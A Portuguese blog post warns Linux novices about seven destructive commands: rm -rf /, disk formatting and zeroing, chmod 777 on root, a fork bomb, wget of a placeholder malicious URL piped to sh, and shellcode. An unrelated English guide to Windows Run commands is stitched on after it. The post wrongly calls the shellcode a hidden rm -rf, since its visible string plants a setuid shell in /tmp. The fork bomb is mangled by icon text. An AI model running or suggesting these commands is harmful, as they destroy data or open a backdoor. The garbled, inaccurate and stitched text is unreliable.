Ajudem nos a melhorar o nosso blog:


12.11.13

7 comandos mortais em Linux

Se for um novato na área do Linux, existe a possibilidade de alguma vez encontrar um utilizador menos bem intencionado num fórum de ajuda para Linux que lhe dê uma falsa ajuda passando-lhe comandos que você vai digitando sem saber para que servem, comandos esses que podem ser fatais para qualquer sistema.
A pensar nisso deixo aqui 7 comandos que podem acabar com a saúde de qualquer sistema.
1.
rm -rf /
Este comando irá eliminar recursivamente toda a informação do directório root.
2.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Esta é a forma encontrada para fazer o mesmo que o primeiro comando mas de uma forma mais discreta, até mesmo utilizadores mais ambientados a sistemas Linux podem não reconhecer o comando.
3.
mkfs.ext3 /dev/sda
Este comando irá reformatar ou eliminar toda a informação contida no dispositivo indicado após o comando mkfs.
4.
icon sad 7 comandos mortais em Linux ){ icon neutral 7 comandos mortais em Linux :& };:
Comando conhecido como “forkbomb”. Este comando indica ao sistema que execute o maior numero possível de processos até que o mesmo crash. Este comando pode causar danos ao corromper informação.
[ad#ad-2]
5.
chmod -R 777 /
Este comando dá a todos os utilizadores e ficheiros os privilégios de “Read, Write, Execute”. Somente os ficheiros em /bin e /etc/bin não sofrerão essa alteração por estarem a correr e não ser possível a alteração.
6.
wget http://um_codigo_fonte_malicioso -O- | sh
Este comando fará o download e executará um código malicioso na sua máquina, o que pode fazer estragos de todos os tipos.
7.
dd if=/dev/zero of=/dev/sda
Ao executar este comando o seu disco será formatado tal como veio de fábrica.

Run... Command

The Run command in Windows is one of the most unused, yet powerful features (in terms of productivity) in the operating system.

Basic Run Command Information

It is accessible in one of two ways: through the start menu (Figure 1) and through the shortcut key Win+R. The dialog itself looks very unassuming, and quite user unfriendly if you ask me (Figure 2). Its main purpose, as you can see from the dialog information, is to open a program, folder, document, or Internet resource which Windows will then open.

Figure 1 - Run on the Start Menu


Figure 2 - The Run Dialog

Common Tasks with Run

Below are a list of commands you can type into the Run dialog:
Run Calculatorcalc
Run Command Promptcmd
Run Firefox (if installed)firefox
Run Internet Exploreriexplore
Run Microsoft Word (if installed)winword
Run Microsoft Excel (if installed)excel
Run Microsoft Outlook (if installed)outlook
Run Notepadnotepad
Run Wordpadwordpad
Open Control Panelcontrol panel
Open Program Files folder%programfiles%
Shutdown Windowsshutdown
Restart Windowsshutdown -r
Log Off Windowslogoff
Registry Editorregedit
Task Managertaskmgr
Windows Update Launcheswupdmgr

Creating Your Own Run Commands

If you are like me, you will use a few programs very frequently. One way to make them start faster is to give them their own Run command:
  1. Win+R to open the Run dialog
  2. Enter %windir% to open the Windows directory
  3. Alt+F W S to open the File menu, choose the New menu item, then the Shortcut menu item
  4. Go through the wizard to create a shortcut to the desired program
  5. The name you give the shortcut is what you type in the Run dialog to start the program

Infrequently Used Run Commands

Below are a list of commands you can type into the Run dialog, split into several categories: programs, control panels, computer administration tools, and special folders.

Programs

Character Mapcharmap
Check Disk Utilitychkdsk
Clipboard Viewerclipbrd
Free Cellfreecell
Hearts Cardmshearts
Microsoft Chatwinchat
Minesweeperwinmine
On Screen Keyboardosk
Remote Desktopmstsc
Spider Solitarespider
Telnet Clienttelnet
Windows Magnifiermagnify

Control Panels

Accessibility Controlsaccess.cpl
Add Hardware Wizardhdwwiz.cpl
Add/Remove Programsappwiz.cpl
Administrative Toolscontrol admintools
Automatic Updateswuaucpl.cpl
Date and Timetimedate.cpl
Display Propertiesdesk.cpl
Folders Propertiescontrol folders
Fontscontrol fonts
Fonts Folderfonts
Game Controllersjoy.cpl
Internet Propertiesinetcpl.cpl
Keyboard Propertiescontrol keyboard
Mouse Propertiescontrol mouse
Network Connectionscontrol netconnections
Network Setup Wizardnetsetup.cpl
ODBC Data Source Administratorodbccp32.cpl
Password Propertiespassword.cpl
Phone and Modem Optionstelephon.cpl
Power Configurationpowercfg.cpl
Printers and Faxescontrol printers
Printers Folderprinters
Regional Settingsintl.cpl
Scanners and Camerassticpl.cpl
Security Centerwscui.cpl
Sounds and Audiommsys.cpl
User Account Managementnusrmgr.cpl
Windows Firewallfirewall.cpl

Computer Administration Tools

Computer Managementcompmgmt.msc
Device Managerdevmgmt.msc
Disk Cleanup Utilitycleanmgr
Disk Defragmentdfrg.msc
Disk Managementdiskmgmt.msc
Disk Partition Managerdiskpart
Dr. Watson System Troubleshootingdrwtsn32
Driver Verifier Utilityverifier
Event Viewereventvwr.msc
Group Policy Editor (XP Prof)gpedit.msc
Local Security Settingssecpol.msc
Local Users and Groupslusrmgr.msc
Performance Monitorperfmon
Resultant Set of Policyrsop.msc
Scheduled Taskscontrol schedtasks
Servicesservices.msc
Shared Foldersfsmgmt.msc
System Configuration Editorsysedit
System Configuration Utilitymsconfig
Utility Managerutilman
Windows System Security Toolsyskey

Computer Administration Tools

Application Data Folder%appdata%
Home Directory Drive%homedrive%
Home Directory%homepath%
Shared Home Directory%homeshare%
Temporary Folder%temp%
Windows Root Drive%systemdrive%
Windows Root Directory%windir%
For an even more exhaustive list, check out 156 Useful Run Commands.

Using Run as a Command Prompt

One of the strengths of the Run command is its ability to do almost everything the command line can do. You should note, however, that if you're running a program that outputs something and exits, that the output will only show up for a few seconds and then disappear.
Take the ipconfig command for example. If you were to type that into Run, it would open a command prompt, run the ipconfig command, and then close because the command finished running! To fix this, type cmd into the Run dialog, and then type ipconfig into the command prompt.
 
 

 

 
©2009 '' Por DWhite